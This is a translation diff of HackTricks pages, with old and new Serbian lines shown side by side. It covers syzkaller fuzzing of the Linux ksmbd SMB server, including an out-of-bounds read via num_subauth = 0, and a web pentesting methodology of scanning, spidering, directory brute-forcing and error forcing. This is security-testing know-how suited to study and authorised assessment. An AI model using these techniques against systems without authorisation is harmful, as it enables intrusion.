syzkaller-ove anyTypes (ANYBLOB/ANYRES) omogućavaju sabijanje složenih struktura u blob-ove koji se generički mutiraju. Napravite novi korpus iz javnih SMB pcaps i konvertujte payloads u syzkaller programe koji pozivaju vaš pseudo-syscall (npr., syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Ovo ubrzava istraživanje i može odmah izazvati UAFs (npr. u ksmbd_sessions_deregister) dok podiže coverage za nekoliko procenata.
Ovo ubrzava početno istraživanje i može odmah da izazove UAFs (npr. u ksmbd_sessions_deregister), istovremeno povećavajući pokrivenost za nekoliko procenata.
---
## Sanitizers: Više od KASAN
## Sanitizers: Iza KASAN
- KASAN ostaje primarni detektor za heap bugs (UAF/OOB).
- KCSAN često daje false positives ili low-severity data races na ovom targetu.
- UBSAN/KUBSAN može uhvatiti declared-bounds greške koje KASAN promaši zbog array-index semantics. Primer:
- KCSAN često daje false positives ili data races niske ozbiljnosti u ovom targetu.
- UBSAN/KUBSAN može otkriti declared-bounds greške koje KASAN propušta zbog semantike array-index-a. Example:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Postavljanje num_subauth = 0 izaziva in-struct OOB čitanje sub_auth[-1], koje detektuju UBSAN-ove provere deklarisanih granica.
Postavljanje num_subauth = 0 pokreće in-struct OOB čitanje sub_auth[-1], koje je otkriveno UBSAN-ovim proverama deklarisanih granica.
---
## Napomene o propusnosti i paralelizmu
- Jedan fuzzer proces (shared auth/state) obično je znatno stabilniji za ksmbd i i dalje otkriva races/UAFs zahvaljujući syzkaller’s internal async executor.
- Sa višestrukim VM-ovima, i dalje možete dostići stotine SMB komandi/sekundi ukupno. Pokrivenost na nivou funkcija oko ~60% za fs/smb/server i ~70% za smb2pdu.c je ostvariva, mada je pokrivenost prelaza stanja potcenjena ovakvim metrikama.
- Jedan fuzzer proces (shared auth/state) obično je značajno stabilniji za ksmbd i i dalje izbacuje races/UAFs zahvaljujući syzkaller-ovom internal async executor-u.
- Sa više VM-ova i dalje možete pogoditi stotine SMB komandi/sekundi ukupno. Pokrivenost na nivou funkcija od oko ~60% za fs/smb/server i ~70% za smb2pdu.c je ostvariva, mada pokrivenost prelaza stanja nije adekvatno predstavljena takvim metrima.
---
## Praktični kontrolni spisak
## Praktična kontrolna lista
- Omogućite durable handles, leases, multi-channel, oplocks i VFS objects u ksmbd.
- Allow guest i map-to-guest; accept NTLMv2. Patch out credit limits i povećajte max connections radi stabilnosti fuzzera.
- Dozvolite guest i map-to-guest; prihvatite NTLMv2. Patch-ujte credit limits i povećajte max connections radi stabilnosti fuzzer-a.
- Napravite stateful harness koji kešira SessionId/TreeID/FileIDs i povezuje create → ioctl → close.
- Koristite grammar za SMB2 PDUs da održite strukturnu validnost.
- Koristite focus_areas da preterano opteretite slabo pokrivene funkcije (npr. smbacl.c putanje kao smb_check_perm_dacl).
- Seedujte sa ANYBLOB iz stvarnih pcaps da probijete platea; pakujte seed-ove sa syz-db za ponovnu upotrebu.
- Pokrenite sa KASAN + UBSAN; pažljivo razvrstajte UBSAN izveštaje o declared-bounds.
- Koristite focus_areas da dodatno ponderišete slabo pokrivene funkcije (npr. smbacl.c putanje poput smb_check_perm_dacl).
- Seed-ujte sa ANYBLOB iz realnih pcaps da probijete plateaus; pakujte seed-ove sa syz-db za ponovnu upotrebu.
- Pokrenite sa KASAN + UBSAN; pažljivo triage-ujte UBSAN declared-bounds izveštaje.
---

216
src/network-services-pentesting/pentesting-web/README.md
View File

@ -1,12 +1,12 @@
# 80,443 - Pentesting Web Methodology
# 80,443 - Pentesting Web metodologija
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
Web servis je **najčešći i najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**.
Web servis je najčešći i **najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**.
**Podrazumevani portovi:** 80 (HTTP), 443(HTTPS)
**Podrazumevani port:** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API Guidance
### Smernice za Web API
{{#ref}}
@ -26,36 +26,36 @@ web-api-pentesting.md
## Sažetak metodologije
> U ovoj metodologiji pretpostavljamo da ćete napasti jedan domen (ili poddomen) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa neodređenim web serverom koji je u opsegu.
> U ovoj metodologiji pretpostavljamo da ćete napasti jedan domen (ili subdomen) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriveni domen, subdomen ili IP sa neodređenim web serverom koji je unutar scope-a.
- [ ] Počnite sa **identifikacijom** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
- [ ] Postoji li neka **poznata ranjivost** verzije tehnologije?
- [ ] Koristi li se neka **well known tech**? Postoji li neki **koristan trik** za dobijanje više informacija?
- [ ] Ima li neki **specialised scanner** za pokretanje (npr. wpscan)?
- [ ] Pokrenite **general purposes scanners**. Nikad ne znate da li će nešto pronaći ili otkriti zanimljive informacije.
- [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako je HTTPS).
- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **files, folders** i **parameters being used.** Takođe, proverite za **special findings**.
- [ ] _Napomena: svaki put kada se novi direktorijum otkrije tokom brute-forcing ili spidering, treba ga spider-ovati._
- [ ] **Directory Brute-Forcing**: Pokušajte da brute force-ujete sve otkrivene foldere u potrazi za novim **files** i **directories**.
- [ ] _Napomena: svaki put kada se novi direktorijum otkrije tokom brute-forcing ili spidering, treba ga Brute-Forced._
- [ ] **Backups checking**: Testirajte da li možete da pronađete **backups** od **otkrivenih fajlova** dodavanjem uobičajenih backup ekstenzija.
- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
- [ ] Postoje li **poznate ranjivosti** za verziju te tehnologije?
- [ ] Koristi li se neka **veoma poznata tehnologija**? Postoji li neki **koristan trik** da se izvuče više informacija?
- [ ] Postoji li neki **specijalizovani scanner** koji treba pokrenuti (npr. wpscan)?
- [ ] Pokrenite **skenere opšte namene**. Nikad ne znate da li će nešto pronaći ili otkriti interesantne informacije.
- [ ] Počnite sa **inicijalnim proverama**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako je HTTPS).
- [ ] Počnite sa **spidering-om** web stranice: vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
- [ ] _Napomena: kad god se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba da bude spidered._
- [ ] **Directory Brute-Forcing**: Pokušajte da brute-force-ujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
- [ ] _Napomena: kad god se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba da bude Brute-Forced._
- [ ] **Backups checking**: Testirajte da li možete pronaći **backup-e** otkrivenih **fajlova** dodavanjem uobičajenih backup ekstenzija.
- [ ] **Brute-Force parameters**: Pokušajte da **pronađete skrivene parametre**.
- [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezanih za njih.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Kada identifikujete sve moguće **endpointe** koji prihvataju **korisnički input**, proverite sve vrste **ranjivosti** vezanih za njih.
- [ ] [Pratite ovaj spisak provere](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## Verzija servera (ranjiv?)
### Identifikacija
Proverite da li postoje **poznate ranjivosti** za verziju servera koja se pokreće.\
**HTTP headers** i **cookies** odgovora mogu biti veoma korisni za **identifikovanje** korišćenih **tehnologija** i/ili **verzije**. **Nmap scan** može identifikovati verziju servera, ali mogu biti korisni i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
Proverite da li postoje **poznate ranjivosti** za verziju servera koja je pokrenuta.\
HTTP header-i i cookies odgovora mogu biti veoma korisni za **identifikovanje** **tehnologija** i/ili **verzije** koja se koristi. **Nmap scan** može identifikovati verziju servera, ali mogu biti korisni i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-exploits.md)
Pretraži **za** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Proveri da li postoji WAF**
@ -63,7 +63,7 @@ Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-ex
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Trikovi za web tehnologije
### Web tech tricks
Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **tehnologijama** koje se koriste:
@ -102,19 +102,19 @@ Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Imajte u vidu da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\
Ako web aplikacija koristi neku dobro poznatu **tehnologiju/platformu** navedenu gore ili neku drugu, ne zaboravi da pretražiš Internet za nove trikove (i obavesti me!).
_Uzmite u obzir da isti domen može koristiti različite tehnologije na različitim portovima, folderima i poddomenima._\
Ako web aplikacija koristi neku od dobro poznatih tehnologija/platformi navedenih gore ili neku drugu, ne zaboravite da pretražite Internet za nove trikove (i obavestite me!).
### Pregled izvornog koda
Ako je **source code** aplikacije dostupan na **github-u**, pored izvođenja od strane tebe samog White box testa aplikacije, postoji nekoliko informacija koje bi mogle biti korisne za trenutni Black-Box testing:
Ako je izvorni kod aplikacije dostupan na github-u, pored toga što sami izvršite White box test aplikacije, postoji nekoliko informacija koje bi mogle biti korisne za trenutni Black-Box testing:
- Postoji li **Change-log** ili **Readme** ili **Version** fajl ili bilo šta sa informacijama o verziji dostupno putem weba?
- Kako i gde su sačuvani **credentials**? Postoji li neki (dostupan?) fajl sa **credentials** (usernames or passwords)?
- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** se koristi?
- Da li koristi neki **master key** za enkriptovanje nečega? Koji algoritam se koristi?
- Možete li pristupiti nekom od tih fajlova iskorišćavanjem neke ranjivosti?
- Ima li neke interesantne informacije u **github** (solved and not solved) **issues**? Ili u **commit history** (možda je neka lozinka uvedena u starom commit-u)?
- Da li postoji **Change-log** or **Readme** or **Version** fajl ili bilo šta sa informacijom o verziji dostupno preko weba?
- Kako i gde su sačuvani credentials? Postoji li neki (dostupan?) fajl sa credentials (usernames or passwords)?
- Da li su passwords u plain text-u, encrypted ili koji hashing algorithm se koristi?
- Da li se koristi neki master key za enkriptovanje nečega? Koji algoritam se koristi?
- Da li možete pristupiti bilo kojem od ovih fajlova iskorišćavanjem neke ranjivosti?
- Postoji li neka interesantna informacija na github-u (rešeni i nerešeni) issues? Ili u commit history (možda je neka password ubačena u starom commitu)?
{{#ref}}
@ -123,7 +123,7 @@ code-review-tools.md
### Automatski skeneri
#### Skeneri opšte namene automatic scanners
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS scanners
#### CMS skeneri
Ako se koristi CMS, ne zaboravite da **run a scanner**, možda se pronađe nešto interesantno:
Ako se koristi CMS, ne zaboravite da **pokrenete skener** — možda se pronađe nešto zanimljivo:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtove za Security issues. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtovi za pronalaženje sigurnosnih problema. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -150,15 +150,15 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> U ovom trenutku trebalo bi već da imate neke informacije o web serveru koji klijent koristi (ako su podaci dati) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, čak ste pronašli CMS i pokrenuli neki scanner.
> U ovom trenutku trebalo bi već da imate neke informacije o web serveru koji koristi klijent (ako su podaci dati) i neke trikove koje treba imati na umu tokom testa. Ako ste srećni, možda ste čak pronašli CMS i pokrenuli neki scanner.
## Otkrivanje web aplikacije korak po korak
## Step-by-step Web Application Discovery
> Od ovog trenutka počinjemo da interagujemo sa web aplikacijom.
> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom.
### Početne provere
### Initial checks
**Podrazumevane stranice sa zanimljivim informacijama:**
**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
@ -167,28 +167,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- Proverite i komentare na glavnim i sekundarnim stranicama.
**Izazivanje grešaka**
**Forcing errors**
Web serveri se mogu **ponašati neočekivano** kada im se pošalju čudni podaci. Ovo može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**.
Web serveri se mogu **ponašati neočekivano** kada im se pošalju neobični podaci. To može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**.
- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc)
- **Dodajte "\[]", "]]", i "\[["** u **cookie values** i **parameter values** da biste izazvali greške
- Generišite grešku dajući ulaz kao **`/~randomthing/%s`** na **kraju** **URL**-a
- Pokušajte **different HTTP Verbs** kao PATCH, DEBUG ili pogrešne kao FAKE
- **Dodajte "\[]", "]]", i "\[["** u **cookie values** i **parameter** values da biste izazvali greške
- Generišite grešku tako što ćete poslati unos kao **`/~randomthing/%s`** na **kraj** **URL**-a
- Probajte **različite HTTP Verbs** kao PATCH, DEBUG ili nepostojeće kao FAKE
#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Ako otkrijete da je **WebDav** **omogućen**, ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da:
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno privilegija za **otpremanje fajlova** u root folder, pokušajte da:
- **Brute Force** credentials
- **Otpremite fajlove** putem WebDav-a u **ostatak** **pronađenih foldera** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
### **SSL/TLS ranjivosti**
- Ako aplikacija **ne forsira korišćenje HTTPS-a** ni u jednom delu, onda je **ranjiva na MitM**
- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP** — to je visoka ranjivost.
- Ako aplikacija **ne primorava upotrebu HTTPS** u bilo kom delu, onda je **ranjiva na MitM**
- Ako aplikacija **šalje osetljive podatke (passwords) koristeći HTTP**. To predstavlja visoku ranjivost.
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **ranjivosti** (u Bug Bounty programima verovatno ovakve vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti:
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) da proverite **ranjivosti** (u Bug Bounty programima verovatno ovakve vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -204,40 +204,40 @@ Informacije o SSL/TLS ranjivostima:
### Spidering
Pokrenite neku vrstu **spider** unutar web-a. Cilj spidera je da **pronađe što više puteva** iz testirane aplikacije. Zato treba koristiti web crawling i eksterne izvore kako biste pronašli što više validnih puteva.
Pokrenite neku vrstu **spider** unutar web aplikacije. Cilj spider-a je da **nađe što više putanja** iz testirane aplikacije. Zbog toga treba koristiti web crawling i eksterne izvore da se pronađe što više validnih putanja.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files i eksterni izvori (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS fajlove i Archive.org kao eksterni izvor.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete navesti fajl sa hosts i fajl sa putanjama i meg će dohvatiti svaku putanju na svakom hostu i sačuvati odgovor.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, predkompajlirana verzija je stara i trenutni kod se ne kompajlira
- [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi eksterne provajdere (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će naći URL-ove sa parametrima i izlistati ih.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS fajlovima. Vredi takođe pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper za LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoint-a u HTML source-u i ugrađenim javascript fajlovima. Korisno za bug hunter-e, red team-ere, infosec ninje.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lakše otkrivanje AJAX zahteva. Izgleda neodržavano.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Ako se preda fajl (HTML) izvući će URL-ove iz njega koristeći pametne regularne izraze da pronađe i ekstrahuje relativne URL-ove iz "ružnih" (minifikovanih) fajlova.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Sakuplja interesantne informacije iz JS fajlova koristeći više alata.
- [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS fajlove.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve url-ove koji su učitani za tu stranicu.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path-ova i params u JS fajlovima.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dat .js.map URL, dobije beatified JS kod
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat za otkrivanje endpoint-a za dati target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkriva linkove iz wayback machine (takođe preuzima odgovore iz wayback-a i traži više linkova)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl-uje (čak i popunjavanjem formi) i takođe nalazi osetljive informacije koristeći specifične regex-e.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni multi-feature GUI web security Crawler/Spider dizajniran za cyber security profesionalce.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go paket i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, path-ova, secret-a i drugih interesantnih podataka iz JavaScript izvornog koda.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoint-a** iz request-a za kreiranje custom wordlist-e za fuzzing i enumeraciju.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Odličan alat za ovo.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Ispisuje svaki link koji uspe da pronađe.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### Brute Force directories and files
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
Start **brute-forcing** from the root folder i obavezno bruteforce-ujte **sve** **direktorijume koji su nađeni** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete raditi ovaj bruteforce **rekurzivno** i dodavati na početak korišćene wordlist-e imena pronađenih direktorijuma).\
Alatke:
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
@ -250,7 +250,7 @@ Tools:
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Recommended dictionaries:**
**Preporučeni rečnici (dictionaries):**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -269,41 +269,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Imajte na umu da kad god se novi direktorijum otkrije tokom brute-forcing-a ili spideringa, treba ga Brute-Forced._
_Napomena: kad god se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on bi trebao biti ponovno brute-forcovan._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken link-ove unutar HTML-ova koji mogu biti podložni takeover-u
- **File Backups**: Kada pronađete sve fajlove, tražite backup-e svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante u imenovanju backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite** skrivene parametre u svakom izvršnom web fajlu.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Kada pronađete sve fajlove, tražite backup-ove izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante imenovanja backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivenе parametre. Ako možete, pokušajte da potražite** skrivene parametre na svakom izvršnom web fajlu.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
